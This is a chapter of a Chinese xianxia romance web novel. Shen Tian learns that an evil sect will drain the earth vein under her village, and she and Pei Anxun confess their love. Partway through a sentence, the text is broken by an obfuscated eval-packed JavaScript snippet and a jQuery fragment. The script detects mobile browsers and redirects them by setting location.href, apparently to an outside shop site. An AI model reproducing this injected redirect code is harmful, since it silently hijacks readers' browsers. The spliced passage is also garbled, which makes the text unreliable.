二人并肩朝家中走去。
沈恬发觉,自打刚刚她问完那个问题后,裴安荀好似就极为沉默,她说上两句话想要缓解气氛,可他虽会柔声回她,却掩不去眼中的一抹忧虑。
她转头,看着他抿紧的唇,微垂的眸子,显然是有心事的模样。
去了一遭玄宗,究竟是发生了什么大事?
沈恬的心沉了一瞬。
进了杂货铺,李岚意正在铺子里看着,见到两人回来了,立刻笑着问:“裴公子也回来啦~米可买到了?”
“买到了。”沈恬笑着指了指裴安荀怀中的布袋。
“好。”李岚意上前接过布袋,“时辰不早了,我先去做饭,你们歇歇。”
沈恬点点头,走至柜台前坐下。
刚想开口问裴安荀,却有客人前来,沈恬只得先照顾客人,可一个刚走,另一个又来了,今日顾客格外多,幸有裴安荀相助,也是顺利。
生意好自然是高兴,只是沈恬总觉得裴安荀想说的是什么重要之事。
她将门栓插上,长舒一口气,也到了该吃晚饭的时候。
几人用了饭,收拾完毕后,沈恬身上又是黏腻,她打了水洗了澡,边绞着头发边去了侧间。
侧间里头没有点灯,沈恬小心翼翼地推开门。
皎白月光透过窗棂洒进屋内,映照出裴安荀朦胧的身影。
他坐在竹榻上,手中拿着一块玉牌,玉牌在月光下发出润白光泽,而裴安荀半个身子被笼在阴影中。
见她来了,他将玉牌放下,扬手燃了烛火。
小小的房间内渐渐被暖黄色点亮。
她走上前几步,挨坐在他身侧。
裴安荀见她半湿的乌发,伸出手,拿过她手中的布巾,继续替她绞干着头发。
沈恬笑,“没事的,天热,一会儿就干了。”
裴安荀没有说话,只继续着手上动作。
他的动作很轻,取了她的发丝一缕一缕仔细绞着,比她平日中自己擦头发时还要小心。
沈恬没了事做,便低头打量着他方才放下的那枚玉牌。
玉牌上雕刻精美祥云图案,还有一些她不认识的花纹,而最中间刻着的,是一个荀字,应当是从玄宗拿回来的。
“对了,你说回家同我说的,今日你去玄宗,究竟发生了何事?”她抬眼看他。
裴安荀正在为她擦拭着最后几缕头发。
他没有立即回答,只是沉默着将最后一缕头发绞干后,才缓缓放下布巾看向她。
“沈恬。”
他声音很低。
“嗯?”
沈恬歪头。
“你……有没有想过,有一天……搬出无峰村?”
裴安荀说完后定定看向她,眼里是一种妥协后的无奈。
“什么?!”
沈恬坐直身子看着他,“为什么会突然这么问?”
屋内的烛火“噗”地炸了一声,声音在这方小小的屋内显得格外清晰。
裴安荀一边替她整理着发丝,一边缓缓道:“仙门之中存正道,便亦有邪道。而今,有个邪道盯上了村子下面的那条地脉。”
“地脉?”沈恬微微蹙眉,有些不理解地问:“他们难道还能把地脉抽出来不成?”
裴安荀轻轻颔首。
“他们会将地脉灵气抽走,届时,这条地脉所经之处的上方,就会变成死地。”
……
沈恬不可置信地看向裴安荀,斟酌着他话里的含义。
变成死地。
那岂不是就意味着,地里再也长不出庄稼,山上再不会有草木,泉水可能会枯竭,再不有生灵存活……
就连张婶家引以为傲的那株有灵性的老桃树也会失去生机。
思至此,沈恬的大脑恍若被覆上一层雾,再也想不出更多的内容来。
她只知,无峰村是她自小长大的地方。
她只知,这个村子里的每一处,她都再为熟悉不过。
可这如此熟悉的一切,之后便要化为乌有。
沈恬张了张嘴,可好几次未能开口说出话来。
裴安荀看着她的动作,轻声道:“地脉涉及多个仙门,蔓延数十里,只是邪修若来,定是直达无峰村或玉鸾山上空,此地乃是灵气最盛之处。”
“邪修之事,几家宗门定会联手讨伐噬元派,只是其波及程度,怕是连护宗大阵都无法抵挡。”
沈恬的手攥紧了衣裙。
“那如果……我们不走呢?”
裴安荀伸出手,轻轻覆在她冰凉颤抖的手上。
“那时的术法,没有阵法可防御。”
很简单的一句话,却已将什么都说明白了。
会死。
留在这里的话,只会死。
大家都会死。
“那……我们还有多久的时间可以准备?”沈恬看了眼自己的衣裙,又抬头看向裴安荀扯了一个笑道:“我还能吃上新米吗?”
那可是大家一年辛苦才有的收成。
这个问题,沈恬问得极为认真,像是在确认一件重要之事。
裴安荀看着她已经泛红的眼眶,感受着她颤抖的手背……
还有那个牵强的笑意。
玄宗将宗门大会定在明日,便预示着此事迫在眉睫,怕是一月之内,邪修便要入境。
新米,肯定是吃不上了。
裴安荀垂下眼,极轻地摇摇头。
烛火晃动了一下,将二人的影子一同带着轻轻摇晃。
沈恬面上的笑意未退,她陡然站起身,对裴安荀道:“这是大事,要尽快通知大家,让大家做好准备。”
她转身就要往外走。
裴安荀蹙眉,站起身一把拉住了她的手腕。
沈恬被这么一拉,身形瞬间怔住。
她没有转头,还是带着那股笑意问:“怎、怎么了?”
裴安荀没有说话,他只是紧紧握着她的手腕,没有放手。
沈恬背对着他,她的手还在颤着。
裴安荀看着她的背影,温声道:“明日再说。”
沈恬终于回了头,可眼中的红意更甚,她还是笑着道:“不是越早越……”
可沈恬的话未说完,便觉身子一个踉跄,随后落进了一个怀抱中。
“明日,我同你一起去。”裴安荀的声音低低在她头上响起。
沈恬呆愣愣地依在他的怀中。
“很多事情,你不用自己扛。”
“太坚强了,会很累。”
蛙鸣此起彼伏地响起,打破了夏夜的寂静,也打破了沈恬一直以来的逞强。
“从今往后,有我在。”
裴安荀忍不住收紧了手臂。
“多依靠我吧,沈恬。”
沈恬的眼睛微微睁大。
她从来没有想过这件事。
她只是觉得,能自己解决的事情,尽可能不麻烦别人。
来到无峰村后,爹娘一直心疼她,她不想让他们担心。兰英姐和冉儿都关心她,她不想给她们添麻烦。后来遇见裴安荀,她更不想让他觉得自己是个负担。
要搬出村子,其实她比谁都害怕,比谁都委屈,比谁都不舍……
可她已经习惯了将所有情绪先咽下,将事情处理好了再偷偷难受。就如同她得知自己无缘仙途之日,白日里看似无事,可那晚她在被子里偷偷哭了很久。
可他却对她说,多依靠他……
憋在眼中许久的泪水终于落下,呜咽一下子决了堤。
眼泪一滴一滴地砸在裴安荀身上,洇湿了他的衣衫。
裴安荀没有说话,只是抱着她,抚着她的脊背。
很轻、很柔,同洒下的月光一般温润。
昏黄烛光轻摆,在墙上映出二人交融的身影。
过了许久,沈恬的哭声才渐渐小了下来。
意识到方才自己哭成了那般,沈恬赶紧揉了揉自己的眼睛。
眼皮好像已经肿了,睁眼都有些费劲,鼻子也堵堵的,难受得很。
好丢人……
刚才自己怎么能哭得这么大声……
她抬起头看向裴安荀,声音闷闷的,带着哭完后的沙哑和哽咽,“真的……没有……办法了吗……”
裴安荀很轻的摇摇头。
沈恬垂下眼眸。
明知不可能了,但她不过就是想做最后的挣扎。
“那……房子到时候……是不是也……没了……”沈恬吸了吸鼻子问。
“是。”
这是必然会发生的事实。
“那……仙门…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360518|196285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…会赢吗?”
“不知道。”
噬元派而今实力不可小觑。
“那……”
沈恬抿住了唇。
她想问还能不能回来。
可依照裴安荀刚才的话,若是仙门赢了,房屋摧毁,他们还能回来重建家园,但是若仙门输了,这里就是一处死地,回来,也没有意义了。
所以在结果出来之前,裴安荀也回答不了她的这个问题,她又何必再问。
况且现在夜已深,家家户户都入眠了。她一个姑娘家,半夜去敲门说道此事,除了将别人吓得够呛,又能解决什么呢?
真的要搬,搬去哪?要做什么准备?她现下一个计划都没有。
裴安荀说得没错,明日再说不迟。
烛火慢慢燃烧着,越来越矮。
裴安荀只安静陪着她,没有言语。
静默了许久,沈恬终于开口。
“除了此事……还有别的事情吗……”她眨了眨眼睛看向裴安荀。
她的眼底映出了点点烛火,也映出了他的身影。
裴安荀下颌紧了紧,想起裴延临走前嘱咐他的那件事。
看着沈恬红得有些发肿的眼眶,裴安荀的眼睫微动。
现下还不是时候。
等噬元派之事结束再与她说。
他伸出手,缓缓拂去她眼角残余的泪珠,转说了另一件事。
“你方才看到的玉牌,是玄宗弟子的令牌。”
沈恬着急问:“你要……回去了?”
她的声音中是无论如何都掩饰不住的慌张。
就连手都无意识地抓紧了他腰身上的衣料。
“不回去。”
裴安荀看着她的神情,忍不住伸手将她揽入怀中。
“我在你身边,哪也不去。”
沈恬的面颊贴在他的胸膛上,听着他胸腔内有力的心跳声,忍不住又酸了眼眶。
靠在他的怀中,一时之间,脑海中的那些胡思乱想都飞得很远,方才的恐惧与紧张在渐渐消退。
过了好一会儿,沈恬才哑了声开口,因着方才哭得厉害,说话时还一抽一抽的。
“以后……你都会陪着……我吗?”
“嗯。”
“直到……我变成……老太太了……”
“嗯。”
“你到时候……不会嫌弃……我老了吧……”
“不会。”
裴安荀低下头,抬手抚摸着她的青丝,柔声道:“以后,不许再笑着逞强了。”
沈恬小声反驳着,“我也没有……那么要强吧……”
她突然发现,今日二人之间,好似有什么东西不一样了。
刚才话题中,谈的也都是以后。
那他们现在,算什么关系?
该问了。
沈恬吸了一口气,攥着衣服下摆,声音小得几乎听不见,“裴安荀……你对我……是那种喜欢吗?”
问完后,她立刻垂下了眼,面颊通红。
她也不知道为何在这种时候,竟变得如此胆小。
本欲逃避视线的,可眼前之人却抬起了一只手,轻轻捧起了她的脸,使她不得不对上他的眼睛。
那双桃花眼中亦是含满了柔情与羞涩,可他的眸中更多的却是一种郑重的承诺。
“是。”
沈恬愣住。
是。
就一个字吗?
明明他的眼中蕴了这么多情绪,好似有很多话想同她说,最后出口却是一个“是”字?
沈恬有些生气地锤了他一下,“你多说几句……会怎么样!”
亏她如此羞涩地开口,他最后就只会那么一个是。
裴安荀一把抓住她的手。
“沈恬。”
他的声音很急促。
沈恬有点没好气。
“干嘛……”
可还不等她反应过来,唇上就被一个温润而柔软的东西碰了一下。
太轻了,也太快了,像是一片花瓣拂过了唇瓣。
沈恬捂住嘴,瞪大眼睛看着近在咫尺的那张俊脸。
那人半垂着眸子,面上的红晕全然不输于她,可目光却是异常认真。
“这样。”
“我就是你的人了。”